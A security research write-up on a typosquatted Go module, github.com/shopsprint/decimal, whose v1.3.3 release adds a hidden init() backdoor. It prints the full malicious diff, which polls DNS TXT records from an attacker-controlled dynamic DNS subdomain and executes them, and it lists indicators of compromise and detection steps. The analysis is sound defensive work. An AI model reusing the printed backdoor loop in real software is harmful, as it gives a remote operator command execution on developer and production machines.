
























Socket proactively blocks malicious open source packages in your code.
Socket's Threat Research Team identified a malicious Go module published as github.com/shopsprint/decimal, a typosquat of the widely used github.com/shopspring/decimal arbitrary precision arithmetic library. The typosquatted module has been present on the Go ecosystem since 2017-11-08 and was weaponized on 2023-08-19 when version v1.3.3 added a malicious init() function that opens a DNS TXT record command and control channel to a threat actor controlled subdomain on a free dynamic DNS provider. The GitHub repository and the shopsprint owner account have since been removed, but the malicious release remains permanently served by proxy.golang.org and listed on pkg.go.dev.

Socket’s AI scanner flagging github.com/shopsprint/decimal as known malware, and catching the DNS TXT backdoor.
Quick breakdown of the threat:
github.com/shopspring/decimal swapping the final g for a t (shopspring to shopsprint)init() function that runs at process start with no opt-indnslog-cdn-images[.]freemyip[.]com, polled every five minutesos/exec.Command and executedgithub.com/shopspring/decimal is a Go arbitrary precision fixed-point decimal library, depended on across the Go ecosystem in financial, billing, cryptocurrency, and analytics codebases because Go's native float64 cannot represent monetary values without rounding error. Public adoption signals for the typosquat are limited, but the legitimate github.com/shopspring/decimal module has 38,634 known importers on pkg.go.dev, making it a high-value target for a single-character typosquat. The legitimate package has no network code, no process execution code, and no init() function. Its imports are limited to database/sql/driver, encoding/binary, fmt, math, math/big, regexp, strconv, and strings.
The typosquatted module github.com/shopsprint/decimal preserves the entire public API and source body of shopspring/decimal. Any project that fetches the typosquat path (most commonly through a single-letter typo in go.mod, an import statement, a go get invocation, or an autocomplete suggestion) continues to compile, pass tests, and behave correctly for arithmetic. The malicious behavior runs in a separate goroutine, never touches the decimal arithmetic code paths, and never produces user-visible output.

Side-by-side pkg.go.dev listings show the typosquat (left) github.com/shopsprint/decimal next to the legitimate (right)github.com/shopspring/decimal. The two repository paths differ by a single character at the end of the vendor name.
The shopsprint/decimal module was published with eight tagged versions over six years:
init() functionThe first seven releases are non-malicious typosquat copies of the upstream shopspring/decimal tree at the matching version. Their cadence mirrored upstream tag dates, giving the package the appearance of a maintained fork rather than an obviously staged supply chain attack. In reality, the package appears to have been a long-running typosquat that remained benign for years before being weaponized.
The two malicious-window releases are seven minutes apart on the same day. v1.3.2 carries only two legitimate, low-impact bugfixes (a one-character comment typo correction and an arithmetic precision fix in Decimal.Mod) that the threat actor copied from upstream commits. v1.3.3 retains those two fixes and adds the payload. This is the trust-then-poison pattern observed in prior Go module supply chain campaigns. A benign release is shipped to establish recent activity, then the malicious release follows within minutes, ensuring that any developer who looked at the package the previous day and re-checks it on the day of poisoning sees a recent, legitimate-looking commit alongside the malicious one.
The combined effect is roughly six years of benign typosquat presence followed by approximately thirty-three months of weaponized presence in the open Go module ecosystem before disclosure.
Three changes are spliced into decimal.go between v1.3.2 and v1.3.3: an extended import list, a malicious init() function, and a spurious main() declared inside the decimal package.
The unified diff between v1.3.2 and v1.3.3 of decimal.go (from the Go Module Proxy zip artifacts) is the full payload:
--- decimal.go (v1.3.2)
+++ decimal.go (v1.3.3)
@@ -25,6 +25,9 @@
"regexp"
"strconv"
"strings"
+ "net"
+ "os/exec"
+ "time"
)
@@ -505,6 +508,25 @@
}
}
+func init(){
+ go func(){
+
+ for {
+ records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
+ if err != nil {
+ time.Sleep(5 * time.Minute)
+ continue
+ }
+ for _, txt := range records {
+ cmd := exec.Command(txt)
+ cmd.CombinedOutput()
+ }
+ time.Sleep(5 * time.Minute)
+ }
+
+ }()
+}
+
// Neg returns -d.
@@ -1902,3 +1924,6 @@
}
return y
}
+func main(){
+
+}Three observations on the payload from this diff.
net, os/exec, and time to the import block. None are present in the upstream shopspring/decimal source at any tagged version. A decimal arithmetic library has no documented reason to perform DNS resolution or process execution, so a side-by-side import diff against upstream is a high-precision detection heuristic on its own.init() runs the C2 loop in a background goroutine. Go's package initialization model guarantees that every init() in a package runs before main() and before any exported function of the package becomes callable, so importing the typosquatted module anywhere in a project's dependency graph is sufficient to start the loop. The goroutine survives for the lifetime of the process, polls net.LookupTXT("dnslog-cdn-images.freemyip.com") every five minutes, and sleeps on DNS failure without logging or signaling an error.exec.Command(txt) and run via CombinedOutput(). The output is captured and discarded, and no shell metacharacters are interpreted, so each TXT must resolve to a single executable already present on the victim or staged earlier through another vector. DNS TXT is a covert channel rather than a transport: TXT lookups look like normal DNS activity to most egress controls, including environments that block outbound HTTP. The threat actor changes the TXT value through their DDNS account, and victims pick up the new command on the next five-minute tick.The appended func main(){} is anomalous and non-functional. A main function is only treated as a program entry point when its file declares package main; this file declares package decimal, so func main(){} is dead code that the Go compiler will not invoke under any normal build configuration. Its presence is best read as a development artifact left behind by the threat actor, possibly copied from a single-file Go scratchpad or generated by an AI coding assistant when scaffolding a runnable example, then never cleaned up. The signal value is that the file shows signs of sloppy authorship rather than carefully constructed library code, which is consistent with malicious provenance
The single hardcoded indicator in the payload is dnslog-cdn-images[.]freemyip[.]com. VirusTotal first analyzed the subdomain on 2024-08-07 and currently returns an A record of 8.8.8.8. The 8.8.8.8 value is a decoy, pointing the subdomain at Google Public DNS so that any tooling resolving the host gets a routable address while the operator continues to drive the payload exclusively through TXT records. The infrastructure is staged but the trojanized release has not been picked up by sandboxes or automated scanners on the public observation surfaces queried.
The parent domain freemyip[.]com is a free dynamic DNS service. The provider itself is legitimate. The same provider hosts a substantial volume of abusive subdomains: VirusTotal Intelligence returns at least 40 subdomains of freemyip[.]com with one or more malicious detections, including phishing pages impersonating PayPal, Sberbank, and MetaMask, a cluster of DGA-tagged hosts, and persistent C2 nodes with detection counts as high as 14 across the AV stack. None of those clusters thematically overlap with the Go supply chain target of the present trojan, which is consistent with a separate operator standing up a fresh, low-noise subdomain on a known-abused but unrestricted DDNS provider.

VirusTotal Intelligence URL listing for freemyip[.]com shows a sample of abusive URLs hosted under the dynamic DNS provider, including phishing kits impersonating PayPal, Sberbank, and MetaMask, DGA-style randomized hostnames, and persistent C2 or fraud subdomains.Operational characteristics worth noting. The choice of free DDNS gives the operator full control to swap the C2 record value in seconds with no registrar friction. The parent domain's reputation is mixed (32 undetected, 60 harmless engine verdicts), which prevents bulk-blocking by reputation alone. The use of TXT records instead of A records or HTTPS traffic evades the controls most likely to fire on a developer machine, where outbound HTTP is often inspected but outbound DNS is rarely scrutinized.
The Go Module Proxy at proxy.golang.org continues to serve every published version of the module on demand, including the malicious v1.3.3, because the proxy intentionally caches module artifacts indefinitely as part of Go's reproducibility guarantee. Listing the versions returns all eight tags. Fetching the v1.3.3 zip returns the same bytes that were originally published. A developer running go get github.com/shopsprint/decimal@v1.3.3 before the withdrawal received the malicious code with no warning. The package is also listed on pkg.go.dev and resolves via standard Go tooling.
This is the same persistence model abused by the boltdb-go/bolt typosquat reported by Socket in 2025, where the source repository was scrubbed but the proxy cache made the malicious release permanently fetchable for years afterward.
The GitHub source code repository at https://github.com/shopsprint/decimal returns HTTP 404. The owner account at https://github.com/shopsprint returns HTTP 404. The repository and the owner are both gone, presumably removed by the threat actor, by GitHub abuse response, or by an automated cleanup. The removal has no effect on the package's reachability through standard Go tooling.
Following Socket's coordinated disclosure, the Go security team moved quickly to withdraw the module from proxy.golang.org, which now returns a 403 SECURITY ERROR for every version fetch of github.com/shopsprint/decimal and closes the new-acquisition path.
Every machine that imports github.com/shopsprint/decimal at v1.3.3 and runs the resulting binary, including CI runners, developer workstations, and production hosts, executes the init() goroutine for the lifetime of the process. From that point forward the operator has on-demand command execution against the machine, gated only by the operator's willingness to publish a TXT record. Because the payload runs as the process user, the blast radius matches the privileges of whatever binary imported the package. A CLI run by a developer inherits the developer's credentials. A containerized service inherits its mounted secrets and service account. A CI job inherits its repository tokens and deployment credentials.
The exec.Command(txt) form does not invoke a shell, so each TXT string must be a single absolute or PATH-resolved program name. This is not a meaningful limitation. The operator can drop a staged second-stage binary through any earlier channel (a previously executed command, a build-time file write, a separate stager package) and then trigger it by publishing its path in TXT. The operator can also point TXT at any binary already present on the system that produces useful side effects when run without arguments, including local privilege escalation utilities, package managers (to install backdoored packages), or service control tooling.
Persistence is automatic for the process lifetime and reattaches on every restart of any binary that imports the module. No filesystem persistence, registry change, scheduled task, or LaunchAgent is required. The persistence mechanism is the dependency itself.
The five-minute beacon and silent error handling mean an importing project can run for weeks before any operator command is delivered, with no observable artifact in process output, no entry in application logs, and no failed-DNS noise loud enough to draw attention.
The thirty-three month dwell time between weaponization (2023-08-19) and disclosure puts a long upper bound on possible exposure for any project that pinned an unverified version of shopsprint/decimal during that window.
go.mod and go.sum in every project for the import path github.com/shopsprint/decimal. If present at any version, remove the dependency, replace with the canonical github.com/shopspring/decimal, run go mod tidy, and rebuild.shopsprint versus shopspring) is the entire delta between a clean dependency and a long-lived backdoor.net, os/exec, and time from libraries that have no documented reason to need them. A decimal math package, a slugifier, a UUID generator, or a logger has no business resolving DNS or spawning processes.github.com/shopsprint/decimal@v1.3.3, treat the build host as compromised. Rotate any credentials accessible from that host (Git tokens, cloud keys, registry credentials, SSH keys), inspect outbound DNS traffic for the listed indicator, and rebuild from a clean toolchain.dnslog-cdn-images[.]freemyip[.]com to your DNS sinkhole and SIEM correlation rules. Alert on any internal host resolving the subdomain regardless of the answer's content. A single TXT query from a build agent or production host is a high-confidence indicator.freemyip[.]com, duckdns[.]org, no-ip[.]com, dynu[.]net, ddns[.]net, hopto[.]org, zapto[.]org) are rare in legitimate Go toolchains and worth treating as suspicious by default.freemyip[.]com zone from build and production environments unless you have an explicit business justification. The provider is a documented abuse magnet.$GOMODCACHE / $GOPATH/pkg/mod) and any go.sum files in your source repositories for the string github.com/shopsprint/decimal. Any code that was fetched before the Go security team's withdrawal remains in module caches, vendored trees, and built binaries, so dependency-graph scanning is the durable control for already-compromised supply chains.shopspring/decimal symbol fingerprint, the net.LookupTXT symbol, the os/exec.Command symbol, and any dynamic DNS hostname. The combination is rare in legitimate Go binaries and high-precision against this class of supply chain backdoor.Socket detects threats like this across the full dependency graph, including init-time supply chain payloads, dynamic DNS C2, and typosquatted forks of popular libraries, before they reach developer environments. The Socket GitHub App scans pull request dependency changes and flags init-time network or process execution before merge. The Socket CLI enforces allow and deny rules in CI pipelines. Socket Firewall blocks known malicious packages before they are fetched. The Socket browser extension surfaces risk signals while browsing public Go module pages. Socket MCP prevents AI-assisted coding workflows from introducing suspicious dependencies into your codebase.
github.com/shopsprint/decimal (v1.3.3)
2f0ee073c6f29d66188a845592029c9b52528f04v1.3.3 module zip
dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086decimal.go
387d7ea5ca733b1e7219c943f4b461877a8df0148adfef42b1538b6c398fbb41fd26f4ca4746ee390e22043a5e19ebf2b7fcd1f9e3c6ce0440d9acd0f1cef1f0da3cdb5ddnslog-cdn-images[.]freemyip[.]comfreemyip[.]com此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。